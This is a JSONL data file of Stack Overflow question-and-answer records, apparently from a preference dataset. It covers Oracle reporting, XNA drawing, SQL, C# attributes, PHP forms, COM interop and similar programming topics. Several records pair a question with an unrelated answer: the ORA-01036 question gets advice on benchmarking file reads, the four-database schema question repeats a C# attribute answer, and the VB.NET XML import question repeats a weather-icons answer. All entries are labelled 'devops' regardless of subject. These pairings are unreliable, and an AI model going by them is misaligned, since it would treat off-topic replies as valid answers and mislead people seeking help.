{"id": "hf_1fc3f960575f", "question": "<p>I am trying to create a report in SSRS2000 that will query an ORACLE database and pass one parameter, I am getting the following error message:</p>\n\n<p>ORA-01036: illegal variable name/number \nBut have been unable to find much help elsewhere on the web with this error code</p>\n\n<p>I was hoping that this would be fairly simple to do, does anyone have any idea how to accomplish this task?</p>\n", "question_body": "", "answer": "Considering that these objects can vary per file size, and your computer's specs (bus speed, HD speed) affect this, the only way to be sure is to write your own benchmark.  Just create a simple for loop, count from 1 to 1000, and read the file inside the loop over and over (but do not create and destroy the objects inside the loop, just focus on the reading part).\nOf course this whole exercise reeks of pre-optimization, which can lead to bad coding habit.  Just write your code in the most readable, simple fashion, and if there is a speed problem, refactor as needed.\nBut since it's a small amount of data, I would say it won't matter.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:30.639244"}
{"id": "hf_49a6cd6f8f47", "question": "<p>I've read a bunch of tutorials involving XNA (and it's various versions) and I still am a little confused on drawing primitives.  Everything seems to be really convoluted.</p>\n\n<p>Can someone show me, using code, the simplest XNA implementation of drawing one or two lines on to the screen?  Perhaps with a brief explanation (including the boilerplate)?</p>\n\n<p>I'm not a games programmer and I have little XNA experience.  My ultimate goal is to draw some lines onto the screen which I will eventually transform with rotations, etc (by hand).  However, for this first step.. I need to simply draw the lines!  I remember back in my ancient OpenGL days it was fairly straightforward when drawing a line with a few method calls.  Should I simply revert to using unmanaged directx calls?</p>\n", "question_body": "", "answer": "When working with XNA, everything (even 2d primitives) have to be expressed in a way that a 3d card can understand, which means that a line is just a set of vertices.\nMSDN has a pretty good walkthrough here:\nhttp://msdn.microsoft.com/en-us/library/bb196414.aspx#ID2EEF\nYou'll find that it takes more code to render a primitive line than it would take to just setup a textured quad and rotate that, since in essence, your doing the same thing when rendering a line.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:30.662295"}
{"id": "hf_b9f848af4f2e", "question": "<p>I have these 3 tables + data:</p>\n\n<p><strong>items</strong>: itemId, itemName\n<br />data: 1, my item one</p>\n\n<p><strong>categories</strong>: catId, catName\n<br />data: 1, my cat one. 2, my cat two</p>\n\n<p><strong>map</strong>: mapId, itemId, catId</p>\n\n<p>When you include item \"my item one\" in category \"my cat one\", you insert [1, 1, 1] into the map. When you add \"my item one\" to \"my cat two\", you insert [2, 1, 2] into the map. Now let's say we change our mind and only want the item in \"my cat two\". This means we need to know what categories the item is no longer in and delete the associations from the map. What's the most efficient sequence of steps to take to do so? (I'm looking for a solution that will scale beyond this trivial example.)</p>\n", "question_body": "", "answer": "Assuming you've already got the category ID for \"my cat two\" and the item ID for \"my item 1\":\n```\n```\nDELETE FROM MAP WHERE ItemID = @MyItem1Id\n                AND CatID <> @MyCat2Id\n```\n```\nIf you have a set of categories you want to keep the item in, you could either:\nDelete everything from the map for that item and then re-add the set\nUse a query like the above but with \"AND CatID NOT IN [ ... ]\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:30.685441"}
{"id": "hf_629ff3bcce2e", "question": "<p>Is it possible to create an attribute that can be initialized with a variable number of arguments?</p>\n\n<p>For example:</p>\n\n<pre><code>[MyCustomAttribute(new int[3,4,5])]  // this doesn't work\npublic MyClass ...\n</code></pre>\n", "question_body": "", "answer": "Yes, but you need to initialize the array that you are passing in. Here is an example from a row test in our unit tests that tests a variable number of command line options;\n```\n```\n[Row( new[] { \"-l\", \"/port:13102\", \"-lfsw\" } )]\npublic void MyTest( string[] args ) { //... }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:30.719964"}
{"id": "hf_c16c0a748417", "question": "<p>I have 4 databases with similar schema's, and I'm trying to create a query to return just the table, column pairs that exist ONLY in database 1 and do not exist in database 2, 3, or 4.</p>\n\n<p>Currently I can return the symmetric difference between database 1 and 2 via the following query...</p>\n\n<pre><code>select table_name, column_name from (\n        select table_name, column_name from [Database1].information_schema.columns\n        union all\n        select table_name, column_name from [Database2].information_schema.columns) as tmp\n        group by table_name, column_name having count(*) = 1\n</code></pre>\n\n<p>However, in trying to isolate just those columns in database 1, and doing the same across all 4 databases, things are getting complicated. What is the cleanest solution for this query?</p>\n", "question_body": "", "answer": "Yes, but you need to initialize the array that you are passing in. Here is an example from a row test in our unit tests that tests a variable number of command line options;\n```\n```\n[Row( new[] { \"-l\", \"/port:13102\", \"-lfsw\" } )]\npublic void MyTest( string[] args ) { //... }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:30.743035"}
{"id": "hf_7d82655b6150", "question": "<p>I know the file needs to be where the getClass().getResource(filename) can find it, but I don't know where that is.</p>\n\n<p>I'm interested both in where to put the files on the filesystem itself, and how to go about using Eclipse's functionality to set up the resources.</p>\n", "question_body": "", "answer": "You can either put them in the src folder alongside your classes, or you can create a new source folder for the purpose (usually called\nresources\n), although you'll locate them identically from code.\nThen you get at them using\n```\ngetResource(\"/com/x/y/foo.png\")\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:30.765695"}
{"id": "hf_1d247d263813", "question": "<p>Let's imagine I got this:</p>\n\n<p>index.php generates form with unpredictable number of inputs with certain IDs/Names and different values that can be edited by user and saved by script.php</p>\n\n<pre><code>&lt;form action=\"script.php\" method=\"post\"&gt;\n&lt;input id=\"1\" name=\"1\" type=\"text\" value=\"1\"/&gt;\n&lt;input id=\"24\" name=\"24\" type=\"text\" value=\"2233\"/&gt;\n&lt;input id=\"55\" name=\"55\" type=\"text\" value=\"231321\"/&gt;\n&lt;/form&gt;\n</code></pre>\n\n<p>Script.php:</p>\n\n<p>Here I need to get something like array of all inputs that were generated by index.php and save every value that corresponds to its id/name.</p>\n\n<p>Is there a way to do this?</p>\n", "question_body": "", "answer": "i may be missing something in your question, but the\n```\n$_POST\n```\nvariable will contain all the name => value pairs you're asking for. for example, in your above HTML snippet:\n```\n```\nprint_r($_POST);\n\n// contains:\n\narray\n(\n  [1] => 1\n  [24] => 2233\n  [55] => 231321\n)\n\n// example access:\n\nforeach($_POST as $name => $value) {\n  print \"Name: {$name} Value: {$value} <br />\";\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:30.821327"}
{"id": "hf_5c552b04084e", "question": "<p>I'm looking to update our project's jaxb version from 1 to 2.  Has anyone tried doing this on their projects and are there any tips that anyone wanting to do this?  I understand that each project is unique, I'm just looking for general tips.</p>\n", "question_body": "", "answer": "JAXB2 will generate enum classes for simpletype restrictions.  Any Java code which relies on setting string values for uses of these types will require you to use the appropriate enum instead.  I think this is great, since you get the typechecking when compiling rather than a validation warning at runtime.\nJABX2 uses typed lists instead of untyped lists, so you can remove a lot of casting from your java code.\nDate support is greatly improved.  IIRC, most of the date types in JAXB1 generate Calendar, whereas in JAXB2 they generate XMLGregorianCalendar.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:30.865972"}
{"id": "hf_da3f329dd1e8", "question": "<p>I have a page with a GridView on it that launches a popup, using Javascript. The user then selects an item, that updates the data connected to the GridView and closes the popup.</p>\n\n<p>How do I refresh the first (ie the Calling page) so that I can refresh the data shown in my Gridview?</p>\n", "question_body": "", "answer": "Try this inside your popup:\n```\n```\n<script>\nwindow.opener.location.reload()\n</script>\n```\n```\nThat should refresh the page that opened the pop-up", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:30.996006"}
{"id": "hf_05837b0c0aff", "question": "<p>I have been experimenting with Lambda expressions in Oxygene. Very simple recursive lambda expression to calculate a fibonacci number :</p>\n\n<pre><code>var fib : Func&lt;int32, int32&gt;;\nfib := n -&gt; iif(n &gt; 1, fib(n - 1) + fib(n - 2), n);\nfib(3);\n</code></pre>\n\n<p>When I run this code I get a nullreferenceexception. Any ideas as to what I'm doing wrong?</p>\n", "question_body": "", "answer": "You aren't doing anything wrong. If anything, the compiler should warn you about using fib, an unassigned variable, inside the body of the lambda.\nHowever the compiler ought to be capturing fib as a location, so that when the assignment completes and the delegate is later invoked, fib is properly assigned and recursion should work as expected.\nThe most obvious possible reason for the failure is that Prism isn't capturing locations, but values, which would be grossly unintuitive and at odds with every other closure implementation in non-pure languages.\nFor example, try this code in JavaScript (contrary to Craig's assertion in the comments to this post, JavaScript also captures locations, not values):\n```\n```\n<html>\n<head>\n<script language='javascript'>\nfunction main()\n{\n    var x = 1;\n    var f = function() { return x; };\n    alert(f());\n    x = 2;\n    alert(f());\n}\n</script>\n</head>\n<body>\n<input type=button onclick=\"javascript:main()\"></input>\n</body>\n</html>\n```\n```\nThe alert boxes after you click on the button show 1 and 2 respectively, while following Prism/Oxygene semantics they would show 1 both times.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:31.025707"}
{"id": "hf_bc644cbda4d0", "question": "<p>Related to <a href=\"https://stackoverflow.com/questions/139944/where-can-one-find-free-software-icons-images\">https://stackoverflow.com/questions/139944/where-can-one-find-free-software-icons-images</a></p>\n\n<p>I have a need for free weather-related icons. Specifically, I need icons that you might see in a ten-day forecast (clear day/night, rainy day/night, etc.)  Where might I find such images?</p>\n\n<p><strong>Requirements: Like the author of the question linked above, I would prefer to not rip anyone's intellectual property off.</strong></p>\n", "question_body": "", "answer": "Well a quick Google for\n\"weather icons\"\nproduced good results.  Or places like\ndeviantART\n(\n2nd link\n) are a good bet.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:31.052732"}
{"id": "hf_94b19cb80dba", "question": "<p>Using VB.NET, how do I add the values from an XML file into an SQL Server database with a similar schema?</p>\n", "question_body": "", "answer": "Well a quick Google for\n\"weather icons\"\nproduced good results.  Or places like\ndeviantART\n(\n2nd link\n) are a good bet.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:31.093137"}
{"id": "hf_22e0007ce817", "question": "<p>A colleague recently asked me how to deep-clone a Map and I realized that I probably have never used the clone() method- which worries me.</p>\n\n<p>What are the most common scenarios you have found where you need to clone an object?</p>\n", "question_body": "", "answer": "Most commonly, when I have to return a mutable object to a caller that I'm worried the caller might muck with, often in a thread-unfriendly way.  Lists and Date are the ones that I do this to most.  If the caller is likely to want to iterate over a List and I've got threads possibly updating it, it's safer to return a clone or copy of it.\nActually, that brings up something I'm going to have to open up another question for: copy constructors or clone?  When I did C++, we ALWAYS did a copy constructor and implemented clone with it, but FindBugs does not like it if you implement your clone using a copy constructor.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:31.115367"}
{"id": "hf_df35a85febc9", "question": "<p>I learned about <a href=\"http://www.microsoft.com/bizspark/\" rel=\"noreferrer\">Microsoft BizSpark</a> the other day and started the sign up process.  Has anyone else heard about it or had success with it?</p>\n", "question_body": "", "answer": "I can't speak for BizSpark specifically (it's so new), but Microsoft has had the similar\nEmpower\nprogram in place for 5 or so years. When our company was originally getting started, we joined the program (and participated for two years) and it was an excellent program.\nThe main benefit, of course, is that you get access to MSDN Subscriptions at such a low cost. Aside from that, though, it put us in touch with the local Microsoft office and gave us a clear path to working toward the typical ISV Partner relationship. You also get some technical support incidents, which are handy when/if you need to escalate an issue you're running into.\nThe requirements for Empower were/are pretty straightforward... basically commit to releasing a commercial software product based on the current Microsoft stack within two years.\nHope that helps... I look forward to hearing more about how BizSpark is different - or if it's simply the next evolution of Empower.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:31.199429"}
{"id": "hf_61ad066f6cb3", "question": "<p>I'm implementing my app as a drag source. When I call DoDragDrop (Win32 call, not MFC) it enters into a modal loop and I don't get repaint messages in my main window until DoDragDrop returns. Unfortunately if I do a drop in the shell (a file) and the filename is already there the shell asks if I want to replace the file. But since me app is blocked because DoDragDrop  hasn't returned it isn't repainting and looks 'frozen'. </p>\n\n<p>Any clues ?</p>\n", "question_body": "", "answer": "I suggest running the drag-and-drop operation on a different thread.  That way, DoDragDrop() will block the message loop in the new thread rather than the message loop in your UI thread.  If you take this approach, you should also consider (off the top of my head):\nAny code that might be run from both your main thread and your drag-and-drop thread will need to be re-entrant.  As a corollary, you will need to protect any data structures used by both your main thread and your drag-and-drop thread.  If your application is already multi-threaded, you should be familiar with these concerns.\nYou should think about what happens if your user never responds to the shell's dialog box.  Can he continue to interact with your UI?  Can he invalidate the data that would have been 'dropped' in the pending operation?  Can he quit your application?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:31.271055"}
{"id": "hf_58a51e962f35", "question": "<p>I'm getting this error:</p>\n\n<pre><code>javax.servlet.ServletException: bean not found within scope\n</code></pre>\n\n<p>on a page with this at the top.</p>\n\n<pre class=\"lang-html prettyprint-override\"><code>&lt;jsp:useBean id=\"bean\" type=\"com.example.Bean\" scope=\"request\" /&gt;\n</code></pre>\n\n<p>The class exists in the classpath, it worked this morning, and I don't get what not found within scope means.</p>\n\n<p>How is this caused and how can I solve it?</p>\n", "question_body": "", "answer": "You must add\n```\n```\n<jsp:useBean id=\"givingFormBean\" type=\"some.packg.GivingForm\" scope=\"request\" />\n```\n```\nBecause by default the bean is\nlooked on the\npage\nscope", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:31.293993"}
{"id": "hf_80f412ca361e", "question": "<p>Is there a way to compile multiple java source directories in a single maven project? </p>\n", "question_body": "", "answer": "This worked for me\n```\n```\n<build>\n    <sourceDirectory>.</sourceDirectory>\n    <plugins>\n        <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-compiler-plugin</artifactId>\n        <configuration>\n        <includes>\n            <include>src/main/java/**/*.java</include>\n            <include>src/main2/java/**/*.java</include>\n        </includes>\n        </configuration>\n        </plugin>\n    </plugins>\n</build>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:31.316683"}
{"id": "hf_ab58738a5f57", "question": "<p>I'm all for language diversity, but Objective C is insane. So I'm curious: is it possible to code iPhone apps with C++ while using the Cocoa API, etc?</p>\n", "question_body": "", "answer": "Short answer, yes, sort of. You can use Objective-C++, which you can read about at\nApple Developer Connection.\nIf you know C++ already, learning Objective-C would be pretty simple, if you decided to give that a try. More info on that topic is at the ADC as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:31.351106"}
{"id": "hf_51b61237b15b", "question": "<p>Can anyone please let me know the procedure to perform silent installation of SQL Server Express 2005 and the way to specify the installation parameters.</p>\n", "question_body": "", "answer": "Get the MSI and do\n```\n```\nstring InstallFile = \"SSCERuntime-ENU-x86.msi\"\nstring LogFile = \"C:\\Install.log\"\n\nProcess proc;\nproc = Process.Start(\"msiexec\", \"/l \" + LogFile + \" /quiet /i \" + InstallFile);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:31.386566"}
{"id": "hf_5b175fa8fbbd", "question": "<p>I need two divs to look a bit like this: </p>\n\n<pre><code>    |               |\n ---|    LOGO       |------------------------\n|   |_______________|  LINKS                |\n|             CONTENT                       |\n</code></pre>\n\n<p>What's the neatest/most elegant way of making them overlap neatly? The logo will have a fixed height and width and will be touching the top edge of the page.</p>\n", "question_body": "", "answer": "With absolute or relative positioning, you can do all sorts of overlapping. You've probably want the logo to be styled as such:\n```\n```\ndiv#logo {\n  position: absolute;\n  left: 100px; // or whatever\n}\n```\n```\nNote: absolute position has its eccentricities. You'll probably have to experiment a little, but it shouldn't be too hard to do what you want.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:31.439464"}
{"id": "hf_a92871cf75ce", "question": "<p>I have a form with a textbox and a button. IE is the only browser that will not submit the form when Enter is pressed (works in FF, Opera, Safari, Chrome, etc.).  I found this javascript function to try to coax IE into behaving; but no avail:</p>\n\n<pre><code>function checkEnter(e){\n    var characterCode\n    if (e &amp;&amp; e.which) {\n        e = e\n        characterCode = e.which\n    } else {\n        e = event\n        characterCode = e.keyCode\n    }\n    if (characterCode == 13) {\n        document.forms[0].submit()\n        return false\n    } else {\n        return true\n    }\n}\n</code></pre>\n\n<p>Implementation:  </p>\n\n<pre><code>searchbox.Attributes(\"OnKeyUp\") = \"checkEnter(event)\"\n</code></pre>\n\n<p>Any advice?</p>\n\n<p><strong>EDIT:</strong> <a href=\"http://www.codeproject.com/KB/aspnet/EnterKeyToButtonClick.aspx\" rel=\"noreferrer\">This page</a> on <a href=\"http://www.codeproject.com/\" rel=\"noreferrer\">CodeProject</a> outlines what Dillie was saying, and it works perfectly.</p>\n", "question_body": "", "answer": "```\n```\n// Use the following Javascript in your HTML view\n// put it somewhere between <head> and </head>\n\n    <script language=\"JavaScript\" type=\"text/javascript\"><!--\n    function KeyDownHandler(btn)\n    {\n      if (event.keyCode == 13)\n      {\n        event.returnValue=false;\n        event.cancel = true;\n        btn.click();\n      }\n    }\n    // -->\n    </script>\n\n    // Put this in your TextBox(es) aka inside <asp:textbox ... >\n    onkeydown=\"KeyDownHandler(ButtonID)\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:31.462445"}
{"id": "hf_5ce4c46b9cdb", "question": "<p>Can any one tell me how to convert an legacy application  which is vb6 ( COM dll's ocx and exes) to use Regfree COM .</p>\n\n<p>I tried opening the dlls in visual studio and created manifest file, but some of the dlls it is giving error.</p>\n\n<p>Is there any tools out there which will help me to do this process?</p>\n\n<p>I tried a tool from codeproject which is called regsvr42, which is not creating the manifest fully.</p>\n\n<p>I used tools like PE explorer where I get all the typelib information , but converting them into manifest files is too difficult.</p>\n\n<p>We have started migrating that to .NET, for some months we have to deploy it, it will easier if it is xcopy based deployment.</p>\n", "question_body": "", "answer": "To create manifest files you can try to use Make My Manifest from\nhttp://mmm4vb6.atom5.com/\n.\nEDIT\nThe MMM website is down. I see\nhere\nthat the author was having trouble with their hosting and has provided another location to get Make My Manifest -\ndownload it here\n.\nIf you can control creation of objects you can use DirectCOM from\nhttp://www.thecommon.net/10.html\nKeep in mind that if one of used DLLs or OCXs is creating other COM objects dynamically with CreateObject calls, that reference will not be stored in vbp project file and you won't get full manifest file. Probably you will have to catch object creations while the application is running. Depends.exe application can profile running application and report all used dlls. I don't know if there is tool that can find additional COM related information.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:31.497427"}
{"id": "hf_be40573316c5", "question": "<p>I've got an arbitrary list of .NET assemblies.</p>\n\n<p>I need to programmatically check if each DLL was built for x86 (as opposed to x64 or Any CPU). Is this possible?</p>\n", "question_body": "", "answer": "You can use the\nCorFlags\nCLI\ntool (for instance, C:\\Program Files\\Microsoft SDKs\\Windows\\v7.0\\Bin\\CorFlags.exe) to determine the status of an assembly, based on its output and opening an assembly as a binary asset you should be able to determine where you need to seek to determine if the 32BIT flag is set to 1 (\nx86\n) or 0 (\nAny CPU\nor\nx64\n, depending on\n```\nPE\n```\n):\n```\n```\nOption    | PE    | 32BIT\n----------|-------|---------\nx86       | PE32  | 1\nAny CPU   | PE32  | 0\nx64       | PE32+ | 0\n```\n```\nThe blog post\nx64 Development with .NET\nhas some information about\n```\ncorflags\n```\n.\nEven better, you can\nuse\n```\nModule.GetPEKind\n```\nto determine whether an assembly is\n```\nPortableExecutableKinds\n```\nvalue\n```\nPE32Plus\n```\n(64-bit),\n```\nRequired32Bit\n```\n(32-bit and\nWoW\n), or\n```\nILOnly\n```\n(any CPU) along with other attributes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:31.543831"}
{"id": "hf_39ab8e1c8a5e", "question": "<pre><code>class AbstractQuery {\n    virtual bool isCanBeExecuted()=0;\npublic:\n    AbstractQuery() {}\n    virtual bool Execute()=0;\n};\n\nclass DropTableQuery: public AbstractQuery {\n    vector&lt; std::pair&lt; string, string&gt; &gt; QueryContent;\n    QueryValidate qv;\npublic:\n    explicit DropTableQuery(const string&amp; qr): AbstractQuery(), qv(qr) {}\n    bool Execute();\n};\n</code></pre>\n\n<p>Is it necessary to call base contructor in derived class constructor?</p>\n", "question_body": "", "answer": "No, in fact for it is unnecessary for the base class to have an explicitly defined constructor (though make sure you have a virtual destructor).\nSo for a typical interface you could have something like this:\n```\n```\nclass MyInterface {\npublic:\n    virtual ~MyInterface() {}\n    virtual void execute() = 0;\n};\n```\n```\nEDIT: Here's a reason why you should have a virtual destructor:\n```\n```\nMyInterface* iface = GetMeSomeThingThatSupportsInterface();\ndelete iface; // this is undefined behaviour if MyInterface doesn't have a virtual destructor\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:31.703954"}
{"id": "hf_e66d25d80247", "question": "<p>I am creating a chat using Ajax requests and I'm trying to get messages div to scroll to the bottom without much luck.</p>\n<p>I am wrapping everything in this div:</p>\n<pre><code>#scroll {\n    height:400px;\n    overflow:scroll;\n}\n</code></pre>\n<p>Is there a way to keep it scrolled to the bottom by default using JS?</p>\n<p>Is there a way to keep it scrolled to the bottom after an ajax request?</p>\n", "question_body": "", "answer": "Here's what I use on my site:\n```\n```\nvar objDiv = document.getElementById(\"your_div\");\nobjDiv.scrollTop = objDiv.scrollHeight;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:31.766933"}
{"id": "hf_8d1535728c7a", "question": "<p>Im having trouble using a .NET COM in vb6, It compiles ok and I use regasm to register it, add a reference to it in the vb6 project, it even has intellisense. But when I try to make make an instance it gives me an 'Automation Error'. Any one can help?</p>\n\n<p>Thanks in advance.</p>\n", "question_body": "", "answer": "You probably need to make sure your .NET assemblies are in the VB6 application's directory, or if debugging in the VB6 IDE that they are in the VB6.exe's directory.\nIt is possible to make COM interop with .NET assemblies work more like COM dlls (see the codebase option of\nregasm\n) but by default, .NET assemblies are searched for in the usual way - ie in the GAC or application directory - even when used via COM interop.\nA really simple way to get insight into where your assembly should be is by using sysinternals\nfilemon\nutility.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:31.789315"}
{"id": "hf_68d54361d85a", "question": "<p>I can use VS08's MFC/ActiveX template to create a C++ ActiveX object that I can load into a HTML page and script with Javascript. But I can't figure out how to create an interface that allows me to call custom methods on my component with Javascript.</p>\n\n<p>Could you please tell me how to accomplish that? I have spent over two hours on google with no luck.</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "I'm not extremely familiar with the MFC ActiveX wrapper, but I can answer the question in the general sense:\nA COM object with an interface which is derived from IDispatch can be called through automation languages (eg: Javascript). The methods must also be \"automation-compatible\", which means that the parameters are convertible to the VARIANT type, or are explicitly of type VARIANT. Note that for in/out parameters, the type must be VARIANT* for the automation \"hookup\" to work.\nI don't know how to make the ActiveX object accessible in the client script (eg: embed it into the page), but if it has a single interface derived from IDispatch, that makes it callable from Javascript (and other automation languages). I hope that helps...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:31.823182"}
{"id": "hf_c7ac1bf0d72b", "question": "<p>We have many WIDE html grids which scroll horizontally within a DIV in our web application.</p>\n\n<p>I would like to find the best strategy for printing these grids on a portrait A4 page.</p>\n\n<p>What I would like to know is what is the best way to present/display grids/data like this.  </p>\n\n<p>This question is not HTML specific, I am looking for design strategies and not CSS @page directives.</p>\n", "question_body": "", "answer": "I guess it really depends on what your purpose is.\nIn a book format\n: I usually try span two facing pages.\nFor a conference or poster\n: Find an extra wide printer and print it out on a large sheet of paper.\nSomething more informal\n: Span regular pages and tape them together.\nPowerpoint\n: Don't show the whole chart, they'll not be able to read the details anyways, just show the relevant information.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:31.860879"}
{"id": "hf_fe931ec81cac", "question": "<p>I'd like my .NET Compact Framework app to delete itself after it finishes executing.  What's the best way to do this?</p>\n\n<p>On a Windows machine it's possible to do this using a .bat file, but that's not an option on mobile devices.</p>\n", "question_body": "", "answer": "One idea is you could use wceload:\nhttp://msdn.microsoft.com/en-us/library/bb158700.aspx\nWrite a cab file that has a custom step (I think you might need to create a setup.dll) that will delete your application.\nGet your application to call wceload when it exits to run this cab, passing the argument for wce load to delete the cab after it's finished running.\nNot very slick I know.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:31.896312"}
